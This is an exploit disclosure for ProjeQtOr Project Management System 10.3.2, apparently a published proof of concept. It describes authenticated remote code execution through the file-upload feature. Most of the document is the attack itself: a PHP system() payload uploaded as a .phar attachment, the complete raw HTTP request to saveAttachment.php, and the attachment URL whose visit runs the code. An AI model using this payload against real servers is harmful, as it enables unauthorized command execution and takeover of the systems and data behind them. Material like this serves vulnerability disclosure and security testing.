ProjeQtOr Project Management System 10.3.2 Exploit, Remote Code Execution (RCE)

Exploit Title: ProjeQtOr Project Management System 10.3.2   -Remote Code Execution (RCE)
Application: ProjeQtOr Project Management System
Version: 10.3.2
Bugs:  Remote Code Execution (RCE) (Authenticated) via file upload
Technology: PHP
Vendor URL: https://www.projeqtor.org
Software Link: https://sourceforge.net/projects/projectorria/files/projeqtorV10.3.2.zip/download
Date of found: 19.04.2023
Author: Mirabbas A─čalarov
Tested on: Linux


2. Technical Details & POC
========================================
Possible including php file with phar extension while uploading image. Rce is triggered when we visit again

Payload:<?php echo system("id"); ?>

poc request:


POST /projeqtor/tool/saveAttachment.php?csrfToken= HTTP/1.1
Host: localhost
Content-Length: 1177
sec-ch-ua: "Not?A_Brand";v="8", "Chromium";v="108"
Accept: application/json
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryY0bpJaQzcvQberWR
X-Requested-With: XMLHttpRequest
sec-ch-ua-mobile: ?0
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.5359.125 Safari/537.36
sec-ch-ua-platform: "Linux"
Origin: http://localhost
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: http://localhost/projeqtor/view/main.php
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Cookie: currency=USD; PHPSESSID=2mmnca4p7m93q1nmbg6alskiic
Connection: close

------WebKitFormBoundaryY0bpJaQzcvQberWR
Content-Disposition: form-data; name="attachmentFiles[]"; filename="miri.phar"
Content-Type: application/octet-stream

<?php echo system("id"); ?>

------WebKitFormBoundaryY0bpJaQzcvQberWR
Content-Disposition: form-data; name="attachmentId"


------WebKitFormBoundaryY0bpJaQzcvQberWR
Content-Disposition: form-data; name="attachmentRefType"

User
------WebKitFormBoundaryY0bpJaQzcvQberWR
Content-Disposition: form-data; name="attachmentRefId"

1
------WebKitFormBoundaryY0bpJaQzcvQberWR
Content-Disposition: form-data; name="attachmentType"

file
------WebKitFormBoundaryY0bpJaQzcvQberWR
Content-Disposition: form-data; name="MAX_FILE_SIZE"

10485760
------WebKitFormBoundaryY0bpJaQzcvQberWR
Content-Disposition: form-data; name="attachmentLink"


------WebKitFormBoundaryY0bpJaQzcvQberWR
Content-Disposition: form-data; name="attachmentDescription"


------WebKitFormBoundaryY0bpJaQzcvQberWR
Content-Disposition: form-data; name="attachmentPrivacy"

1
------WebKitFormBoundaryY0bpJaQzcvQberWR
Content-Disposition: form-data; name="uploadType"

html5
------WebKitFormBoundaryY0bpJaQzcvQberWR--




visit: http://localhost/projeqtor/files/attach/attachment_5/miri.phar

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